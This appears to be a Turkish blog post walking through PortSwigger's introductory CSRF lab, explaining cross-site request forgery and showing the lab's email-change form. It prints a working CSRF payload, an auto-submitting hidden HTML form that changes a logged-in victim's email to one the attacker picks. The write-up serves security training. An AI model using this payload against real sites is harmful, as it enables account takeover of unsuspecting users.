Çözüm - PortSwigger CSRF vulnerability with no defenses - (Lab1 )

Nuri Yavuz
2 min readDec 23, 2021

--

PortSwigger’ın 1. CSRF labının çözümünü sizlerle paylaşacağım , bu ve bütün çözümleri detaylı olarak türkçe anlatımları ile burada bulabileceksiniz.

Kısaca CSRF ( Cross Site Request Forgery ) Nedir ;

Siteler arası istek sahteciliği( CSRF ) , bu istek sahteciliği Same Origin olma durumundan kaynaklanıyor.

Same origin ;

  • Domain
  • Port
  • Protocol

3 özelliğin aynı olması durumunda , yapılan http isteği cookie ekleme algoritmasının match olmasını sağladığı için ali.com’da iken veli.com’a authenticated durumda istek yapabilmeye olarak sağlar.

1.) CSRF vulnerability with no defenses

Bu lab’da CRSF zafiyetine karşı HİÇBİR önlem alınMAma durumu ;

Kurbanın mail adresini , saldırganın istediği mail adresi ile değiştiren bir html sayfası yaratacağız ve onu server a upload edeceğiz (saldırganın serverı ) , kurban bu sayfaya geldiğinde (saldırganın server’ında koşan email changing payloadı içeren html sayfası ) , kendi mail adresini değiştiren zararlı bir sayfaya ( bu bir linke tıklama ile olabilir ) gidip mail adresinin , saldırganın istediği email adresine değiştirilmesini sağlayacak.

Yani kısaca email changing işleminde kısmında CSRF var.

CSRF’in temelinde kurban , zararlı olduğunu bilmeyen ve görünmeyen bir http isteği yapar , ve bu http isteği cookie ekleme algoritması ile match olan , kurbanın görmediği ama arka planda onun cookileri’ni kullanarak yapılan bir http isteği olur.

Portswigger’ın bu labındaki Front-End source code:

<form class="login-form" name="change-email-form" 
action="/my-account/change-email" method="POST">
<label>Email</label><input required type="email" name="email" value=""><button class='button' type='submit'> Update email </button></form>

Bu bağlamdaki payload ;

<form  action="https://lab_id/my-account/change-email" method="POST"><input  type="hidden" name="email"     value="saldırganın_istediği_mail_adresi@bu></form>
<script>
document.forms[0].submit();
</script>

Kısacası , yukarıdaki payload (form) otomatik bir http isteği yapmaya olanak veriyor ; burdaki CSRF zafiyeti ise yukarıdaki http isteğini herhangi bir siteden (zararlı bir aktivite olduğu için zararlı bir site diyelim ) yapabilme durumudur.

--

--

Nuri Yavuz
Nuri Yavuz

Written by Nuri Yavuz

“No effect is before the cause” in the same time “Cause doesn’t necessarily come before effect”

No responses yet